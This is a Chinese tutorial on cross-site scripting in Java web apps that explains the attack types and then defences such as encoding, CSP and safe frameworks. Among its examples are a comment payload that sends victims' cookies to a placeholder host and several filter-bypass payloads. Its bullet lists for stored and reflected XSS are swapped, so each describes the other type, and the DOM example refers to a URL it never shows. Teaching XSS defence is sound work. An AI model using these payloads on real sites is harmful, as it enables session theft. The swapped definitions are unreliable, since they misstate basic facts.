跨站脚本攻击（Cross-Site Scripting，简称XSS）是一种常见的安全漏洞，攻击者通过在网页中注入恶意脚本，使得其他用户在浏览该网页时执行这些脚本，从而窃取敏感信息、劫持会话或进行其他恶意操作。在Java Web应用中，XSS攻击同样是一个需要重视的安全问题。
XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本，当其他用户浏览该页面时，这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的，因此它可以访问该用户的所有会话信息和权限，从而可能导致信息泄露、会话劫持、恶意操作等安全风险。
以下是一些XSS攻击的常见形式以及防范方法：
XSS攻击的常见形式
存储型XSS（Stored XSS）
攻击者将恶意脚本存储到目标服务器上，如数据库、文件系统或应用缓存中。当其他用户访问包含恶意脚本的页面时，脚本会被执行。
特点：
- 攻击者通过构造包含恶意脚本的URL，当受害者访问该链接时，恶意脚本会立即被执行。
- 通常这种攻击是通过HTTP请求参数（如查询字符串、表单提交等）来注入的，恶意代码反射回浏览器进行执行。
- 不会持久存储在服务器上，需要诱导用户点击特定的链接才能触发。
例如攻击者在一个博客评论系统中提交以下评论：
<script>document.location='http://xxx.com/upload?cookie='+document.cookie;
</script>
当其他用户查看这条评论时，他们的cookie会被发送到攻击者的服务器。
反射型XSS（Reflected XSS）
攻击者通过URL参数或其他输入字段将恶意脚本注入到目标网站中。受害者点击包含恶意脚本的链接后，脚本会被立即执行。
特点：
- 攻击者将恶意脚本注入到服务器存储的内容中，通常是数据库、消息板、评论系统等。
- 当其他用户访问这段存储的数据时，恶意脚本会在受害者的浏览器中执行。
- 恶意脚本存储在服务器或数据库中，所有访问受害页面的用户都会受到攻击。
- 不需要用户点击特定链接即可触发攻击，只要访问相关页面即可。
攻击者构造一个恶意URL：
http://xxx.com/yyyy?q=<script>alert('XSS')</script>
如果服务器直接将搜索词嵌入到响应中而不进行过滤，用户点击此链接后会看到一个警告框。
基于DOM的XSS（DOM-based XSS）
攻击者利用客户端脚本（如JavaScript）在受害者的浏览器中直接操作DOM，从而注入恶意脚本。这种攻击不依赖于服务器端的存储或反射。
特点：
- 不同于传统反射型和存储型的XSS攻击类型，它不会通过服务器传递，而是直接通过修改页面的DOM树来注入恶意脚本。
- 攻击者利用JavaScript操作DOM时，向页面插入恶意代码，从而在客户端执行。
- 攻击完全发生在客户端（浏览器），不涉及服务器。
- 通常通过操纵浏览器的DOM元素来插入和执行恶意代码。
假设网页中有以下JavaScript代码：
var name = document.location.hash.substr(1);
document.write("欢迎, " + name);
当用户访问此URL时，恶意脚本会被执行。
其他攻击方式：
利用HTML标签的属性值进行XSS攻击，如<img src="javascript:alert('xss')"/>（注意，并非所有Web浏览器都支持JavaScript伪协议，所以此类XSS攻击具有一定的局限性）。
通过空格、回车和Tab键来绕过过滤，如<img src="javas cript:alert(/xss/);"/>。
利用事件来执行跨站脚本，如<img src="#" onerror="alert(1)"/>。
利用CSS跨站，如在CSS中嵌入JavaScript代码。
扰乱过滤规则，如通过大小写混合、特殊字符编码等方式绕过安全检测。
XSS防御手段
输入验证与过滤
对所有用户输入进行严格的验证和过滤，确保输入内容不包含任何恶意脚本，防止注入恶意代码。
使用正则表达式或特定的库验证用户输入是否符合预期的格式、类型和长度。
对数值型数据设置合理的范围限制，避免传入异常数值导致安全问题。
可以使用白名单方式，只允许特定的字符或格式通过，确保只允许符合预期格式的输入。
对特殊字符（如<、>、'、"等）进行过滤或编码。
输出编码
对输出内容进行HTML实体编码，防止特殊字符被解释为HTML或JavaScript代码。
在往JavaScript代码里插入数据时，要对不可信数据进行JavaScript编码，并且只把这些数据放到使用引号包围起来的值部分中。
移除或转义潜在的恶意代码，如HTML标签、JavaScript代码或SQL语句。
使用Java的HttpServletResponse对象的encodeURL、encodeRedirectURL方法，以及StringEscapeUtils等库来编码输出。
使用安全的框架
现代JavaScript框架（如Vue.js、React等）默认会对用户输入进行编码，防止XSS攻击。避免直接操作DOM，尽量使用框架的绑定机制而不是手动拼接HTML。
选择使用经过安全审计的框架和库，如Spring MVC、JSF等，这些框架通常内置了防止XSS攻击的机制。确保框架和库的版本是最新的，以修复已知的安全漏洞。
使用安全的模板引擎：如FreeMarker、Thymeleaf等安全的模板引擎，它们会自动对用户输入进行编码，防止XSS攻击。
使用安全的富文本编辑器：选择经过安全审计的富文本编辑器，确保其对用户输入进行了适当的处理。
设置安全的HTTP响应头
使用Content-Security-Policy（CSP）头来限制可以加载和执行哪些资源。
使用X-Content-Type-Options: nosniff头来防止浏览器将响应的内容类型解释为其他类型。
使用X-XSS-Protection头来启用浏览器的XSS过滤器（尽管现代浏览器已经默认启用了这种保护）。
安全配置与更新：
确保服务器和应用程序的安全配置，及时更新补丁和修复已知漏洞。
对数据库进行安全配置，防止SQL注入等攻击方式。
审计与监控：
定期对应用进行安全审计和测试，包括代码审查、渗透测试等。
使用自动化的安全扫描工具来检测潜在的 XSS 漏洞。
监控应用程序的日志和异常行为，及时发现并响应安全事件。